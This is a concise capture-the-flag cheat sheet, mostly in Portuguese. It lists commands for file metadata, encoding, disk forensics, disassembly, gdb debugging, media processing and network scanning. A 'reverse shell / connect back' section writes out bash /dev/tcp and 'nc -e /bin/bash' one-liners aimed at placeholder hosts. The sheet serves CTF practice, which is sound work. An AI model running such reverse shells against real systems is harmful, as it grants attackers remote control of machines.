Concise Capture the Flag Cheat Sheet

Extratores de Metadados e Binários

"Adivinha" o tipo de arquivo usando Magic number	`$ file file`
Strings printáveis no arquivo binário	`$ strings file`
Dump hexadecimal	`$ xxd [-c16 -g2] file`
	`$ hexdump file`
	`$ od -tx1z file`
Editor binário hexadecimal	`$ elvis [-c"display hex"] file`
Extrai dados EXIF do JPEG	`$ exiv2 img.jpeg`
	`$ jhead img.jpeg`
Extrai metadados do PNG	`$ pngcheck -7ptv img.png`
Lista conteúdo de um *tarball*	`$ tar -tf tarball.tar`
Lista conteúdo de um *zip*	`$ unzip -l file.zip`
Extrai metadados ID3	`$ id3info file.mp3`

Codificação / Decodificação

Codifica *base64*	`$ base64 [file]`
Decodifica *base64*	`$ base64 -di [file]`
(de)codifica utilizando cifra de César	`$ caesar [0-25]`
Codifica *morse*	`$ morse -s message`
Decodifica *morse*	`$ morse -d -- ... --- ...`

Hashes

md5sum	`$ md5sum file`
sha1sum	`$ sha1sum file`
sha256sum	`$ sha256sum file`

Unix / Linux

Extrai conteúdo de um *tarball*	`$ tar -xvf tarball.tar`
Remove os primeiros 3 bytes	`$ tail -c +4 [file]`
Extrai conteúdo de um *zip*	`$ unzip file.zip`

Imagens de disco / Análise Forense

Monta uma imagem FS (override usuário/grupo)	`$ mount fs.img mountpoint -o uid=user,gid=users`
Lista de *inodes* órfãoss em uma imagem de disco	`$ ils fs.img`
Lista de arquivos removidos de uma imagem de disco	`$ fls -drp fs.img`
Fornece o conteúdo do arquivo no *inode* de número 1337	`$ icat fs.img 1337`
Conteúdo (deletado) na imagem de disco	`$ fcat path/to/file fs.img`

Descompilação

Descompila um programa	`$ objdump -d prog`
Dump da seção RO	`$ objdump -j .rodata -s prog`
Lista os símbolos do programa	`$ nm prog`
Descompila (ndisasm)	`$ ndisasm prog`
Descompila *ncurses*	`$ TERM=vt100 biew prog`
Assembly	`nasm, yasm, gas`

Depuração

simples / linha de comando	`$ gdb ./program`
executa o programa	`> r [parameters] [< re > directs]`
exibe registro de chamadas	`> bt`
cria um ponto de parada em *foo*	`> b foo`
remove ponto(s) de parada(s)	`> delete breakpoint [no]`
próxima linha (sobre)	`> n`
passo de linha (entra)	`> s`
próxima instrução (sobre)	`> ni`
passo de instrução (entra)	`> si`
ativa exibição da próxima instrução	`> display/i $pc`
continua a execução	`> c`
salva o conteúdo da memória	`> generate-core-file`
avançado / gráfico	`$ edb ./program`
traço das chamadas de sistema	`$ strace ./program`

Running and debugging Legacy/Other Systems

DOS

Open DOS with *dir* as C:	`$ dosbox dir`
(debug mode)	`$ dosbox-debug dir`
Run *prog* in debug mode	`C:\> debug prog.com`
DOSBox-debug step over	`F10`
DOSBox-debug step into	`F11`
DOSBox-debug scroll memory	`PgUp / PgDn`
DOSBox-debug scroll program	`+ / -`

Windows

Run executable	`$ wine prog.exe`
Debug executable	`$ winedbg prog.exe`
Debug executable	`$ ollydbg prog.exe`

IBM PC XT

Start system	`fake86 -fd0 /usr/share/fake86/rombasic.bin`

Android

dex to jar	`d2j-dex2jar classes.dex`
jar contents	`unzip classes.jar`

Processamento de Imagens

Editor (simples)	`$ pinta image`
Editor (advançado)	`$ gimp image`
Converter para pnm	`$ typetopnm image.type > image.pnm`
pnm (ppm) format	`P6` (type) `width height` (in printable digits) `255` (max color) `RGBRGBRGBRGBRGB...` (× *width* × *height*
Scanner de código de barras/qr (from X selection)	`$ zbarimg --raw image.png` `$ import i.png && zbarimg --raw i.p`
OCR in *lng* lang.	`$ tesseract [-l lng] i.png stdout`
Crop	`$ convert -crop WxH+HP+VP i.png o.`
Montage/Concat	`$ montage -mode concatenate *.png o`

Processamento de Vídeos

Extração de *Frames*	`$ ffmpeg -i video.mp4 frame-%4d.jpeg`
Downl. vid. (yt/etc)	`$ youtube-dl "https://example.com/etc"`

Processamento de Áudio

Editor gráfico / forma de onda	`$ audacity audio.flac`
Espectrograma	`$ sox audio.flac -n spectrogram`
Extração de notas de um MIDI	`$ midi2ly music.midi`
Gerador de partitura	`$ lilypond music.ly`

Decodificação de Tons de Discagem de Telefone

Decodificação de DTMF	`sox tone.ogg -esigned-integer \`
	`  -b16 -r 22050 -t raw - |`
	`multimon-ng -c -a DTMF -`

Outros	`sox ... | multimon-ng`

Rede

Info about *port* `$ cat /etc/services | grep port`

Escaneamento passivo

Tráfego de rede (gráfico)	`$ wireshark`
Tráfego de rede	`$ tshark -i interface -f filter`
Lista de interfaces	`$ tshark -D`
Tráfego HTTP via Wifi	`$ tshark -i wlan0 -f "port 80"`
Filter syntax	`$ man pcap-filter`
Network traffic (altn.)	`$ tcpdump`

Escaneamento ativo

Portas abertas no host	`$ nmap [-sV -O -p prange] host`
Lista hosts em uma rede	`$ nmap [-sn] 192.168.0.*`
Query *txt* DNS field	`$ nslookup -query=txt example.com`
Consulta informações do DNS (on *srv*)	`$ dig [@srv] example.com`

Interagindo

Network cat (GNU/BSD)	`$ netcat host porta`
Network cat (nmap altn.)	`$ ncat host porta`
Telnet para *host* na *porta*	`$ telnet host porta`

Shell reversa / Connect back

netcat listen	`client$ netcat -vlp 1337`
Linux connect back	`$ sh >& /dev/tcp/client/1337 0>&1`
(colored)	`$ bash -i >& /dev/tcp/client/1337 0>&1`
Netcat connect back	`$ netcat -e /bin/sh localhost 1337`
(colored)	`$ nc -e "/bin/bash -i" localhost 1337`

Códigos de digitalização do teclado (US QWERTY)

	00	10	20	30	40	50
+0	error	q	d	b	F6	KP 2
+1	Esc	w	f	n	F7	KP 3
+2	1	e	g	m	F8	KP 0
+3	2	r	h	, <	F9	KP Del
+4	3	t	j	. >	F10	SysRq
+5	4	y	k	/ ?	NmLck	–
+6	5	u	l	RShift	ScLck	–
+7	6	i	: ;	KP *	KP 7	F11
+8	7	o	' "	LAlt	KP 8	F12
+9	8	p	`	Space	KP 9	–
+a	9	{ [	LShift	CaLck	KP -	–
+b	0	] }	\ |	F1	KP 4	–
+c	- _	Enter	z	F2	KP 5	–
+d	+ =	LCtrl	x	F3	KP 6	–
+e	Back	a	c	F4	KP +	–
+f	Tab	s	v	F5	KP 1	–

Número/conversão de caracteres

	Ruby	Haskell
lib		`import Data.Char`
char para int	`'a'.ord`	`ord 'a'`
int para char	`0x61.chr`	`chr 0x61`
a partir de hexadecimal	`"FF".to_i(16)`	`foldl1 (\x y -> x*16 + y) . map digitToInt $ "FF"`
to hexadecimal	`255.to_s(16)`	`map intToDigit . reverse . unfoldr (\n -> listToMaybe [ swap $ n 'divMod' 16 | n /= 0 ]) $ 255`

Dates

Unix para Humano	`date -d "@seconds"`
Humano para Unix	`date -d "YYYY-mm-dd HH:MM:SS" -f +%s`

Stuff to install (Arch Linux)

Processamento de imagem	`$ pacman -S pinta gimp netpbm`
Metadados de imagem	`$ pacman -S jhead exiv2 pngcheck`
Código de Barras	`$ pacman -S zbar`
Image de disco	`$ pacman -S sleuthkit libewf`
Networking (act.)	`$ pacman -S {gnu,openbsd}-netcat nmap`
Networking (psv.)	`$ pacman -S wireshark-{cli,gtk} tcpdump`
OCR	`$ pacman -S tesseract tesseract-data-eng`
Codifica/Decodifica	`$ pacman -S bsdgames`
Emulador 8086	`$ pacman -U fake86-???.pkg.tar.gz # AUR`
Dial Tones	`$ pacman -S archassault/multimon-ng`
Android	`$ pacman -S archassault/dex2jar`
Ferramentas disponíveis	`$ pacman -Ql somekit | grep /bin/`

Outras coisas

SQLi	`https://github.com/sqlmapproject/sqlmap`
Wpscan	`https://github.com/wpscanteam/wpscan`